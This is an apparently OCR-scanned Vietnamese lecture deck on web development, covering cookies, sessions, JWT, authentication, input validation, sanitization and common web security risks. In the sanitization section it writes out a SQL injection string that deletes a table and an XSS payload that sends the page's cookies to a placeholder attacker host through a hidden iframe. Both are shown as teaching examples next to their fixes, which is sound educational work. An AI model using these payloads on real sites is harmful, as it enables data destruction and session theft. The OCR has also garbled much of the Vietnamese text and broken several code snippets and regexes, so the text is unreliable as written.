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Luu trang thai va dam bao an ninh

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.




NOi dung

* Luu trang thai
— bén client
— bén server

* Dam bao an ninh
Quan ly truy cap
X ly dit liéu vao
DPoi phé vdi tan cong
Bao vé dit liéu bang mat ma hoc
Mot sO rdi ro an ninh &ng dung web
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Trang thai cua 'ng dung

e HTTP la giao thirc phi trang thai
~ MOGi yéu cau (request) duoc xr ly ddc 1ap. Khdng yéu
cau server nhd trang thai clia cac xtr ly truwdc
e Ung dung cé thé can nhd trang thai
— Khi xtr ly trén nhiéu trang, can su twong tac phirc tap

o Vidu: chuyén qua nhiéu trang khac nhau dé chon nhiéu
mat hang dua vao gio hang

— Can tinh cd nhan hoda
« Vidu: phai biét ngudi dung nao dang st dung dé cung cap
noi dung phu hop
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Cac phuong phap lwu trang thai

* Luu trang thai bén client

— St dung cookie

— St dung request header hoac body, query string
* Luu trang thai bén server

— St dung phién (session)
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Lwu trang thai bén client

* Server gui state cho client (trong response)

* Client nh& state va gui lai state cho server trong cac
yéu cau sau

* Server xt ly theo state nhan duoc

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.



Luu trang thai bén client

 Viéc tao va st dung state giong nhu str dung
sO v ba
Server == Bac sy
Client == Bénh nhan
Cookie == N&i dung dugc ghi trong sé y ba

Bac sy ghi bénh ly va don thudc vao s6 y ba. Bénh
nhan cdm sd y ba vé va dem sb6 y ba dén tai cac
lan kham sau.
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Luu trang thai béen client

* C6 thé sir dung header hodc body, query
string cla request dé mang thong tin state.

* Frontend phai tw dat dit liéu state vao header
(khac cookie) hoac body, query string.

e Trinh duyét ty dong dat di¥ liéu state néu s
dung header cookie.
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Browser
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Cookie

* Server tao va gui cookie cho client trong response

HTTP/1.0 200 OK
Content-type: text/ntml
Set-Cookie: food=choco; tasty=strawberry

* Client nh& cookie va guri lai cookie cho server

trong cac request tiép theo
GET /nextPage.htm HTTP/1.1
Host: www.example.com
Cookie: food=choco; tasty=strawberry

 Server nhan lai cookie
— Stasty=S_COOKIE[“tasty”];
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Cookie

« Cacthanh phan
o key=<value>

Expires=<date>
Max-Age=<non-zero-digit>
Domain=<domain-value>
Path=<path-value>
Secure
HttpOnly

. tasty=strawberry: Expires=Wed, 21 Oct 2017 07:28:00 GMT:
Secure;

APl tao cookie

int setcookie(string name, [string value], [int expire], [string path], [string
domain], [bool secure], [bool httponly])
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Client truy cap cookie bang JavaScript

e Né&u httponly = false

e Vidu
<script type="text/javascript”>
console.log(document.cookie);
document.cookie = "amount=3";
console.log(document.cookie);
</script>
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Vi du str dung cookie

<?php
if (lisset($_COOKIE["guideshown™])) {
?>
<div id="guide">
Chao murng quy vi ghé tham trang cua chung toi.
Quy vj vui long gianh it thod gian xem ban gidi thiéu.<br><br>
<button id="closeguide">Bbong</button>
</div>
<script>
document.getElementByld("closeguide").onclick = function() {
document.getElementByld("guide").style.display = "none";
I

</script>

setcookie("guideshown", "shown");
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St dung cookie
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An ninh cho client state

* Bao vé state
e Can gilt bi mat?
* Sur dung ma hoa (encrypt)
e Can chbng gia mao?
e S& dung chit ky so

e Chdéng danh cap
e Trén dudng truyén
o HTTPS

* Taiclient
e L6 hdng XSS
* Browser extention
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JSON Web Token

eyJhbGci0iJIUzITNiIsINRS5cCI6IkpXVCJ9. ey
JZdWI101IxMjMBNTY30DkwIiwibmFtZSI6TIkpva
GAgRG91IiwiaWFBI joxNTE2MjMSMDIyQ.ST1Kx
wRJSMeKKF2QT4fwpMeJf36P0kbyJV_adQsswhc

"1234567898
John Doe

1516239822

VERIFY SIGNATURE

HMACSHAZ2 56
asebdlUrlEncede (header) +
asebdUrlEncode (payload),
your-256-bit-secret

} U secret baseft4 encoded

Tham khao: https://jwt.io
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https://jwt.io/

Lwu trang thai bén server

Phién (session) la cudc thoai (dialogue/conversation)
gitra trinh khach va trinh phuc vu.

Server luu cac bién phién va giti cho client dinh danh
phién. Dinh danh phién duwoc server tao ngau nhién.

Trinh duyét bao gdbm dinh danh phién trong cac requests

sau, server anh xa dinh danh phién sang cac bién phién

Phién phai cd thoi gian hét han (timeout).
Cac bién phién bi hdy khi ngat két n6i hodc hét han phién
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Twong tu phién

 Viéc tao va sir dung bién phién gidng nhu str

dung so6 theo ddi bénh nhan
— Server == Bac sy
— Client == Bénh nhan
— Phién == N&i dung duoc ghi trong s6 theo dd

— Béac sy ghi bénh ly va don thudc vao sb theo o
cap cho bénh nhan thé kham chira bénh (din

.
~N o

Oi,
h

danh phién) nhung khéng dwa s6 cho bénh n

nan.

Bénh nhan cAm thé vé va dem thé dén tai cac lan

kham sau.

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.




Dang ky va st dung phién

* Khoi dong phién
session_start( );

e S dung bién phién
S_SESSION[“svName”];

* Hay phién

session_destroy( );
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Vi du str dung phién

<?php
if (lisset($ _SESSION["guideshown'])) { //Truy cép trang /&n dau trong phién
?>
<div id="guide">
Chao mdrng quy vi ghé tham trang cda ching téi.
Quy vj vui long gianh it thoi gian xem ban gidi thiéu.<br><br>
<button id="closeguide">Bbong</button>
</div>
<script>
document.getElementByld("closeguide").onclick = function() {
document.getElementByld("guide").style.display = "none";
If

</script>

$ SESSION["guideshown"] = "shown";
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Khi nao nén/khong nén st dung
phién -

* Nén

— Tdng hiéu ndng: Thuc hién tinh toan phirc tap mot lan,
lwu két qua trong bién phién, st dung két qua nhiéu lan
Can chudi cdc twong tdéc: Ngwdi dung can nhap liéu trén
nhiéu giao dién khac nhau, néu can cé thé quay vé giao
dién trudc dé sira dir liéu da dwoc nhap & giao dién trudc
Két qua trung gian: Nhiéu két qua trung gian nén duoc
ghi nh& cho céc tinh toan tiép sau
Cd nhén héa: Lwu dinh danh ngudi dung & dang bién
phién, can c vao dinh danh ngudi dung dé cung cap ndi
dung phu hop

e Khong nén
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Khi nao nén/khong nén str dung
phién

* Nén
e Khong nén
— Lwu triz trén server: Néu lam dung st dung bién
phién, server sé& phai danh nhiéu bd nhé dé luu

— An ninh: Hacker cé thé loi dung phién dé thuc
hién cac tan cong
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Lwu bién phién

* NOI dung lwu
« Anh xa <dinh danh phién, d lieu phién>
 Noilwu
* |InProcess
 OutProcess
» State-service
e database
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Pam bao an ninh

e Cac nhom giai phap dam bao an ninh
o Quan ly truy cap
= Xac thuc
= Quan ly/duy tri trang thai xac thuc
=  Piéu khién truy cap
o X ly dit liéu vao
o POi pho vdi tan cong
o Bao vé di¥ liéu bang mat ma hoc

e MOt sO rai ro an ninh &¢ng dung web
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Quan ly truy cap

Pam bao moi ngudi dung chi duoc st dung
chirc nang va dir liéu nhat dinh, khdng dwoc st
dung chirc nang va dir liéu khac.

Ba co ché co lién quan mat thiét

« Xac thuwe (authentication) ngwoi dung

* Quan ly/duy tri trang théi xac thuwc (session
management)

« Diéu khién truy cép (access control)
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Xac thuc

e Muc dich
- Xac minh ngwoi dung co dung nhuw thong tin
ma ho xwng danh hay khong
* Phuong phap
e Thdéng tin ma nguoi dung biét (tén sir dung va mat
khau, ...)
* Thong tin ma nguoi dung co (the tw, RFID, ...)
 Thong tin la chinh nguwoi dung (van tay, khuén mat, ...)
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Xac thuc

e Xac thuc theo tén s&r dung va mat khau
o Pho bién
o Cung cap tén st&r dung va mat khau
= Theo giao thirc HTTP
= Sir dung form dang nhép
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Xac thyc HTTP

Trinh duyét guri
HTTP Request Ién Web Browser
server User requests 0 page

2 gy Y Fegunrg euthorizahion
Server tra loi bang
HTTP Response
vOi ma 401 yéu
cau xac thuc
Trinh duyét cho U ischallanged for

N A wsername and passwond
nguwoi dung nhap  usersnter these and
tén st dungva "™
mat khau, g
thong tin xac thuc
|én server

Server giti ndi
dung trang web vé
cho trinh duyét
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Vi du HTTP Response yéu cau Xac
thuc

HTTP/1.1 401 Authorization Required

Date: Mon, 21 May 2001 23:40:54 GMT

Server: Apache/1.3.19 (Unix) PHP/4.0.5
WWW-Authenticate: Basic realm="Marketing Secret”
Connection: close

Content-Type: text/html; charset=iso-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD> <TITLE>401 Authorization Required</TITLE>
</HEAD><BODY> <H1>Authorization Required</H1> This server
could not verify that you are authorized to access the document
requested. Either you supplied the wrong credentials (e.g., bad
password), or your browser doesn't understand how to supply the
credentials required.<P> <HR> <ADDRESS>Apache/1.3.19 Server at
dexter Port 80</ADDRESS> </BODY></HTML>
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Vi du HTTP Request co thong tin xac

thuc

GET /auth/keys.php HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.51 [en] (WinNT; )

Host:

localhost

Accept: image/gif, image/jpeg, image/pjpeg,
image/png, */*

Acce
Acce
Acce

ot-Encoding: gzip
ot-Language: en

ot-Charset: iso-8859-1,* utf-8

Authorization: Basic ZGF2ZTpwbGF0eXBlcw==
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Xac thuc HTTP bang ma PHP

e Dung ham header() dé thém yéu ciu xac thuc

vao HTTP response

header('WWW-Authenticate: Basic realm="My Realm"’);
header('HTTP/1.0 401 Unauthorized');

e Tén st dung va mat khau duoc ngudi dung
nhap va glri dén server dugc lwu trong cac
bién

¢ SERVER[‘PHP_AUTH_USER’]
$ SERVER[ PHP_AUTH_PW’]
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Vi du xac thwc HTTP bang ma PHP

<?php
if(lisset($_SERVER['PHP_AUTH_USERY)) {

header('WWW-Authenticate:Basic realm=“Nhap tén sr dung va mat khau.");
header('HTTP/1.0 401 Unauthorized");
exit();

} else if (lisValid($_SERVER['PHP_AUTH_USER', $ SERVER['PHP_AUTH_PWY)) {

header('WWW-Authenticate:Basic realm="Tén s dung hodc mat khau khéng
dung. Vui long nhap lai.™);

header('HTTP/1.0 401 Unauthorized');
exit();

}
//Logic rng dung
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Han ché cla xac thyc HTTP

* Trinh duyét c6 thé nhd tén dang nhap va mat
khau dan dén cé thé truy cap lai trang.

e Néu nguoi dung khéng nhd tén dang nhap
hoac mat khau thi khéng cd cach gi (vi du s
dung cau hdi an ninh) dé tiép tuc st dung tai
khoan

e Ung dung cé thé yéu cau ding nhap nhiéu lan.
Vi du, dé vao muc cai dat can phai dang nhap
lai mot 1an nira
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St dung form dang nhap

<?php
$err =
if (isset($_POST["tdn"])) {
if (isvalid($_POST["tdn"], $_POST["mk"]) {
header(‘'Location:/homepage");
} else {
$err = "Sai tén ddng nhap hodc méat khau'";
}
}

?>

<IDOCTYPE html><head>...</head><body>

<?php echo $err; ?>

<form method="post">
Tén dang nhép: <input type="text" name="tdn"/> <br/>
Mat khau: <input type="password" name="mk" /> <br/>
<input type="submit" value="bang nhap" />

</form>

</body></htmI>
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Xac minh tén dang nhap va mat khau
Kiém tra tén dang nhap va méat khau do nguoi dUr:g
cung cap cé hgp hop 1é hay khong
Cac tén dang nhap va mat khau hop 1é = tai khoan
nguoi dung

o Puogc lwu trong co sé& dit liéu, hay tép cau hinh
St dung gia tri bam cta mat khau
password hash(Spassword, Salgo)
crypt(Spassword, Ssalt)
Xac minh mat khau bang cach so sanh cac gia tri bam
password_verify(Spassword, Shash)

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.



Duy tri trang thai xac thuc

* Nhuv lwu trang thai
* Trang thai: ai da dang nhap thanh cong
e C6 thé lru bén client hoac bén server
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Duy tri trang thai xac thuwc bén
server S

e Bién phién duoc sir dung dé lwu dinh danh
nguoi dung da dang nhap thanh cong
$ SESSION['user'] =$ POST["tdn"];

e Kiém tra dinh danh nguoi dung trwdc khi lam
moi cong viéc khac
If (lisset($_SESSION["user")))
header("Location:/login");
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Duy tri trang thai xac thuwc bén
server

e Dam bao an ninh cho phién
o Cap dinh danh phién
= Dai va phtrc tap dé tranh bj lam gia
o Kiém soat thei gian phién

= Thoi gian hét han (sliding timeout)
v' khdng nén qué dai, tuyét déi khéng nén vé thei han
o Huy phién
Do hét thei gian phién
« Chua déng dang xuat
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Pang xuat

<?php

session_start();
unset($_SESSION["user"]);
header("Location:/login“);
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Duy tri trang thai xac thuc bén cIielht
Bfowser APl server
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JWT

HEADER: &

eyJhbGci101JIUzITNLiIsInRS5cCI6IkpXVCJS . ey
Jpc3Mi0iJpZCs2bnUuZWRTLnZuliwidXNlcm5hb .
WUi0iJodW5ndHQiLCJmdWxsbmFtZSI6I1Ry4bgn e
biBUdeGopW4gSMOSbmciLCJ1leHALOJETMTYyMzk }

wMjJ9 . HPPRX-s_wWKJKwN1TrQkxYZSvJYYw-

YpavvgCzzoS9U

igs": "id.wnu.edu.wn",
username" : "hungtt”,
fullname": "Tran Tuan Hing'

exp” @ 1516230822

WERIFY SIGMATURE

wour SG-bit-secret

secret basefd encoded
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Piéu khién truy cap

e Buwdc cudi cung trong quan ly truy cap

e Quyét dinh liéu nguoi dung cé dwoc thuce hién
trng hanh dong hay truy cap twng dir liéu cu
thé hay khong.

» Ung dung cé thé ho trg nhiéu vai trd nguoi
dung (user roles). Moi vai trd dwoc quyén truy
cap tap chirc ndng va dit liéu xac dinh. Ung
dung cling cd thé cho phép tirng ngudi dung
truy cdp nhirng chirc nang va dit liéu cu thé.
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Pam bao an ninh

e Cac nhom giai phap dam bao an ninh
o Quan ly truy cap
o X ly dit liéu vao
= X ly hop thirc

= |am sach
= S& dung APl an toan

o POi pho vdi tan cong
o Bao vé di¥ liéu bang mat ma hoc
e MOt sO rai ro an ninh &¢ng dung web
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X ly dit liéu vao

* Moi dit liéu vao déu khong tin cay, can duoc
Xt ly trude khi st dung
o Nguwdi dung cé thé nham Ian, sai sét trong nhap
liéu
o Ké tan cong cé thé ty tao va giri yéu cdu HTTP
mang dit liéu bat ky
* Hau qua néu khong xtr ly hop thirc
o DU liéu sai, I1on xon, khong toan ven
o L6 héng an ninh
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XCr IV hop thire

e Muc dich » .
Kiem tra cac

— Dam bao dit liéu do nguoi dung nhap day du (trwong . TN
bat budc) va ding dan (d6 dai, kiéu, dinh dang, pham trurgng bat buoe
V|) Thong bao 16i néu di liéu nhap chura dam bao cac
rang budc trén. Chi s& dung, lwu di¥ liéu vao CSDL khi
dit liéu dwoc nhap da va dung.

DAm bdo dit liéu nhdp duwoc lam sach, chuyén déi va Lam sach, kiém tra
chuan hda, vi du chuyen ngay Viét thanh Anh dé luu dé dai, dinh dang
CSDL, chuin héa tén,

e Thuwc hién

—  Phai thuyc hién & ca client va server

« Kiémtrahop thu‘c phia client: S&r dungjavascrlpt La cach o
kiém tra hiéu qua (ve truyén thong va thoi gian thyc hién) va mien gia tri
than thién (khong tai lai trang, kiém tra tu’ng phan ngay khi
vlra nhap xong) hon, tang dugc tuong tac véi ngudi dung.

Kiém tra hop thirc phia server: Bang ngon ngi kich ban.
Khong thé bo qua kiém tra phia server vi kiém tra phia client Chuyén ddi dinh
c6 thé that bai do trinh duyét bj tat javascript. dang/gia tri néu

can

7\

nhap

Kiém tra kiéu,

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.



Kiém tra phia client

St dung style hodc text dé biéu thi cac trwdng budc phai nhap
Hién thj hwdng dan nhap néu can
C6 thé kiém tra bd phan cho tirng trudng nhap ngay khi ngu0’| dung nhap

xong cho truong nhap (s&r dung sw kién onkeyup, kiém tra m3 ky tu la 13
(Enter) thi kiém tra)

Né&u viéc kiém tra can cé thong tin trén server (vi du kié’m,tra trung ma)
thi dung iframe hodc AJAX dé gtri dit liéu |Ién server va kiém tra

C6 thé ty dong dién/thong bao mot s6 trwong can cr dit liéu da duogc
nhap & cac truong khac. Vi du ty dong tinh va hién thj tong diém khi
nguwoi dung thay dbi cac diém thanh phan

Thong bao 16i nhap liéu
—  SU dung span dé hién thi théng bao 16i (than thién)

_  Sirdung alert dé hién thj thong bao (khéng than thién, CHI 4p dung cho céc
16i nghiém trong)

—  Sau khi bao 16i, c6 thé dit tam diém vao doi twong nhap liéu can nhap lai
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Cac ham JavaScript hitu ich cho viéc
kiém tra phia client

document.getElementByld(id): Lay tham chiéu doéi tugng
co dinh danh la id

document. getElementsByName(name): Tra vé mang cac
tham chiéu dén cac doi twong cé tén la name

document. getElementsByTagName(tagname): Tra vé
mang cac tham chiéu dén cic déi twong cd kiéu (thé)
tagname

obj.value: Gia trj (text) ngwoi dung da nhap vao doi
tuwong obj
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Cac ham JavaScript hitu ich cho viéc
kiém tra phia client

e str.substring(begin, end): Tra vé xau con bao
gom cac ky tu cé chi muc ti begin dén end-1
cua xau str
str.substring(begin): Tra vé xau con bao gém
cac ky tu cé chi muc tir begin dén hét clia xau
str
str.split(deli): Tach xau str b&i st dung xau
ngan cach deli. Tra vé mang cac xau két qua
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Cac ham JavaScript hitu ich cho viéc
kiém tra phia client

str. toUpperCase(): Tra vé xau viét hoa cla str

str. toLowerCase(): Tra vé xau viét thuwong cla str
isNaN(s): true néu s khong la biéu dién s6
parselnt(s): Gia tri nguyén cua biéu dién s
parseFloat(s): Gia tri thwc cla biéu dién s
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Kiém tra phia server

e Chi cd thé kiém tra tong thé

* GUi nguyén dit lieu nhap + ma va thong bao
16i vé client néu cd 16i nhap liéu

 Client hién thi lai form vé&i dit liéu d3 nhép va
cac thong bao
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Cac ham PHP hitu ich cho viéc kiém
tra -

Sinput =S_POST[“tenThamso”]

Sinput =S_GET[“tenThamso”]

isset(Sinput): true néu Sinput da dwoc khai bao/thiét lap
empty(Sinput): true néu Sinput rong

is_numeric(Sinput): true néu Sinput 13 s6 hodc biéu dién s6

intval(Sinput): LAy gid tri nguyén cla Sinput
floatval(Sinput): Lay gia tri thwc cdia Sinput
explode(Sdeli, Ss): Tach xau Ss boi ky tw phan cach Sdeli

substr(Ss, Sb, SI): Lay xau con cla $s bao gém Sl ky tu bat
dau ti ky tu cé chi muc Sb
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Cac ham PHP hitu ich cho viéc kiém
tra

date(“d"), date(“m"), date("Y"): LAy ngay, thang, nam
hién tai

time(): LAy thoi gian hién tai

ereg(Sexp, Sinput): Kiém tra Sinput cé dinh dang nhu
biéu thirc Sexp hay khéng

Sexp co6 dang “*([charList]{acceptedLengths}S”

Vi du:

"A([0-9]{4,5})S$“: SO nguyén c6 4 hodc 5 chir sO

" ([0-9]{2})/([0-91{2})/([0-91{4})$": C6 dang ngay thang
DD/MM/YYYY

"A[0-9a-z~1#5%& -]([.]?[0-9a-z~1#$%& -])* @[0-9a-

2~ 1#S%& -]([.]?[0-9a-z~1#S%& -])*S“: Dinh dang email
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Vi du: Form nhap liéu

<form method="post" id="form1">

<label for="hoten" class="newrow">Ho tén:</label>

<input type="text" name="hoten" id="hoten" value="<?php echo $hoten; ?>"/>
<span id="loi_hoten" class="errornote"><?php echo $loi_hoten; ?></span>

<br/>

<label for="ngaysinh" class="newrow">Ngay sinh:</label>

<input type="text" name="ngaysinh" id="ngaysinh" value="<?php echo $ngaysinh; ?>"/>
<span id="loi_ngaysinh" class="errornote"><?php echo $loi_ngaysinh; ?></span>
<br/>

<label for="email" class="newrow">Email:</label>

<input type="text" name="email" id="email" value="<?php echo $email; ?>"/>
<span id="loi_email" class="errornote"><?php echo $loi_email; ?></span>

<br/>

<label class="newrow">&nbsp;</label>

<input type="button" id="btncn" value = "Chép nhan"/>

<input type="button" value = "Bo6 qua"/>

</form>
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Vi du: Xt ly hop thirc & mat trudc

if ($("#hoten").val() =="") {
$("#loi_hoten™).html("Chwa nhédp ho tén");
hople = false;
}
if ($("#ngaysinh™).val() '=""){
if (laNgayThang($("#ngaysinh").val())) {
$("#loi_ngaysinh").html(*Ngay sinh khéng dung");
hople = false;
}
}
if ($("#email").val() '="") {
var reg_mail = /"NA-Za-z0-9]+([ \.\-]?[A-Za-z0-9])*@[A-Za-z0-9]+([\.\-]?[A-Za-
z0-9]+)*(\.[A-Za-z]+)+9/;
if('reg_mail.test($("#email").val())) {
$("#loi_email").html("Email khdng dung");
hople = false;
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Vidu: X ly hop thirc @ mat sau

if (empty($_POST["hoten"))) {
$loi_hoten = "Chwa nhéap ho tén";
$hople = false;

}
if (lempty($_POST["ngaysinh"])) {
if (laNgayThang($_POST["ngaysinh"])) {
$loi_ngaysinh = "Ngay sinh khong dung";

$hople = false;
}
}
if lempty($_POST["email"])) {
if (lpreg_match("MNa-zA-Z0-9.- +@[a-zA-Z0-9-]+.[a-zA-z]{2,5}$",
$ POST["'email")) {
$loi_email = "Email khéng dung";
$hople = false;
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X ly hop thire sir dung thu vién

[StringlLength(68, MinimumLength = 3)]

* Khai bao cac rang budc [Required]
N Thu: V|én tUJ k|ém tra public string? Title { get; set; }

[Display(MName = "Release Date™)]
[DataType(DataType.Date) ]
public DateTime ReleaseDate { get; set; }

const schema = Joi.object({ [Range(1, 100)]

username: Joi.string() [DataType({DataType.Currency)]
[Column(TypeName = "decimal(18, 2)")]
public decimal Price { get; set; }

.alphanum(}
.min(3)
-max(30) [RegularExpression(@”~[A-Z]+[a-zA-Z\s]*$")]

.required(), [Required]
[StringLength(38)]
public string? Genre { get; set; }
password: Joi.string()
.pattern(new RegExp('*[a-zA-70-91{3,30}%$')), [RegularExpression(@"~[A-Z]+[a-zA-Z8-9"" \s-]*$")]
[5tringlLength(5)]
[Required]
repeat_password: Joi.ref('password'), public string? Rating { get; set; }

Joi.dev ASP.NET Core
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https://joi.dev/
https://learn.microsoft.com/en-us/aspnet/core/tutorials/first-mvc-app/validation?view=aspnetcore-8.0

Lam sach di liéu

« Lam sach (sanitization) di¥ liéu vao
o M@ét khau trong kiém tra hop thirc
o X& Iy nhirng di¥ liéu vao cé nguy co tao ra cac tan cong.
o Ky thuat:
= Loai bo nhirng ky tw, ttr, cum ttr khéng cho phép

= Che chan bang chubi ky tw thoat (escape sequence)

e Vidu
o Dt liéuvao: ’; delete from NSD where 2’ > ‘1
o Truy van “select * from NSD where hoten like . POST[*hoten”].””

tré thanh “select * from NSD where hoten like *’: delete from NSD where 2’ >
‘1”7 (khéng an toan)

£

o Truy van “select * from NSD where hoten like “.addslashes
($ _POST[*hoten”]).””

tré thanh “select * from NSD where hoten like ‘\’; delete from NSD where \'2\’ >
\"1”” (an toan)
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St dung API an toan

API an toan (safe API)
o Lam sach di¥ lieu mét cach triét dé
o An toan khi str dung

e Vidu

o CAaulénh chuan bj trudc

$stmt= $db->prepare(“select * from NSD where hoten like ?”);
$stmt->bindValue(0, “; delete from NSD where 2’ > ‘17);
$stmt->execute(); //an toan

o htmlentities()
*D{¥ liéu vao $ POST[*hoten”]: <script> document.write(“<iframe
src="http.//hacker.page?c="+ document.cookie + “ style = ‘width:0px; height:0px’>
</iframe>");</script>
=Cau |énh <?php echo $ POST[*hoten’]: 2> tr& thanh tn cdng XSS
=CAau lénh <?php echo htmlentities($_POST[*hoten’];) 2> cho két qua &lt;script&gt;
document.write(&ldquo;&lt;iframe src=&rsquo;http://hacker.page?c=&rdquo; +
document.cookie + &ldquo;&rsquo; style = &rsquo;width:0px; height:0px&rsquo;&gt;
&lt;/iframe&gt;&rdquo;);&lt;/script&gt; (an toan)
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Pam bao an ninh

e Cac nhom giai phap dam bao an ninh
o Quan ly truy cap
o X ly dit liéu vao
o POi pho vdi tan cong
= X ly |6
= Ghinhat ky

= Canh bdo cho quan trj vién va phan &ng lai cac tan cong

o Bao vé di¥ liéu bang mat ma hoc
e MOt sO rai ro an ninh &¢ng dung web

Lé Pinh Thanh, Bai giang Phat trién (rng dung web.



Poi pho véi tan cong

* Moi rng dung web déu c6 kha nang tro
thanh nan nhan cua nhirng tan cong.

. U’ng dung can c6 kha nang chong lai hay
phan trng lai cac tan céng mot cach co kiém
soat.

« MOt s6 ky thuat:
e X ly 16i,
 ghi nhat ky,
e gri canh bao cho quan trj vién,
» phan (ng lai cac tan cong.
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X ly 10i

» S dung try-catch

« Khong bao ham trong cac dap 'ng HTTP
nhirng thong bao 16i va théng tin g& 16i do
hé thong sinh ra
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Ghi nhat ky

Cac s kién lien quan xac thwc nhw dang nhap,
dang xuat, thay doi mat khau

Cac giao dich chinh nhw thanh toan qua tai khoan,
chuyén tién, tra I&i cau hai trén bai thi, ndp bai thi,
bd phiéu, v.v.

Cac truy cap trai phép, hay truy cap vao nhirng
chtrc nang va di¥ liéu ma nguwdi dung khong co
quyén

Can thiét thi ghi nhat ky tat ca sw kién

Nhat ky can phai ghi ca thoi gian xay ra sw kién,
dia chi IP gwi yéu cau, tén tai khoan nguwdi dung
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Phan &rng lai tan cong

« Phat hién tan cong la cong viéc kha phire tap

« Twong Ira rng dung web (web application firewall — waf)
o ModSecurity,
o OWASP ZAP, .v.v.
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Pam bao an ninh

e Cac nhom giai phap dam bao an ninh
o Quan ly truy cap
o X ly dit liéu vao
o POi pho vdi tan cong
o Bao vé dit liéu bang mat ma hoc

e MOt sO rai ro an ninh &ng dung web
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Bao vé dit liéu

* Nhitrng di¥ liéu quan trong c6 thé dwogc m3 héa
trudc khi lwu vao CSDL. Luc doc ra st dung
can duwoc giai m3

— Phai s&* dung cdc ham m3a hda hai chiéu (m3 hoda
va giai ma duoc)

* S dung cac ham ma hoa cua PHP thuoc thu
vien mcrypt, openssl.
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S dung Secure Socket Layer (SSL)
Qua trinh giri yéu cau Qua trinh dap wrng
 Bén khach e Bén phucvu

~ Trinh duyét gti HTTP Request « Webserver gtti HTTP

cho SSL Response cho SSL
SSL ma hoa HTTP Request va

gui request da dwoc ma hoa * S§L ma hoa HT-[P Re5p0n~se -
cho SSL bén phuc vu gui response dq dwoc ma hoa
e Bén phucwu cho SSL bén khach

—  SSL nhan request da duwgc ma * Bén khach
hoda, giai ma thanh HTTP o SSL nhan response da duoc
request va giri HTTP request ma hoda, giai ma thanh HTTP
cho webserver Response va giti HTTP
Response cho trinh duyét

Browser Web server
5L i |

TCP/IP chuyén cac gdi SSL chir khéng phai HTTP requests va HTTP responses

TCP/IP Internet TCR/IP

Fliam# maachins

] Server machine
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St dung Secure Socket Layer (SSL)

 Trinh duyét glri yéu cau bang giao thirc https
thay vi http
e WebServer can duoc cau hinh dé sir dung SSL

Browwser Web server
551 i |

TCP/IP TCP/IP

(lient machine Server maching
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RUi ro an ninh rng dung web

« Tinh trang

~ CA&c wng dung web c6 nhiéu 16 hdng an ninh

. W.A.S. Consortium. The Web Hacking Incidents Database,
http://www.webappsec.org/projects/whid/

. National Institute of Standards and Technology (NIST). National
vulnerability database. http://nvd.nist.gov/statistics.cfm

« Nguyén nhan
_ CA4c lap trinh vién chi cht tam dén xt ly nghiép vu ma khéng quan tam
dung mdrc dén x&r ly an ninh
. Thiéu kién thirc vé an ninh (rng dung
. Strc ép cla tién dd dw an

~ Ung dung web dé truy cap nén c6 nhiéu kha nang phat hién 16 héng
hon
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Nhirng 16 hong phd bién

Tiéem nhiém (Injection) L6 di¥ liéu nhay cam (Sensitive
Data Exposure)

Thiéu diéu khién truy cip murc
ham (Missing Function Level
Access Control)

Cross-Site Scripting (XSS) Gid yéu cau (Cross-Site Request
Tham chiéu déi tuwgng truc tiép Forgery (CS\RF)) N
khong an toan (Insecure Direct Su dung thanh phan co 16 hong

: d3 biét (Using Known
Ref
Rl et References) Vulnerable Components)

Cau hinh an ninh khong dting Chuyén hudng va chuyén tiép
(Security Misconfiguration) khong hop |é (Unvalidated
Redirects and Forwards)

Quan ly phién va xac thuc bi pha
hong (Broken Authentication and
Session Management)

https://www.owasp.org/index.php/Category:OWASP_Top Ten_ Project
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Tiép theo
Kiém th&r *ng dung web
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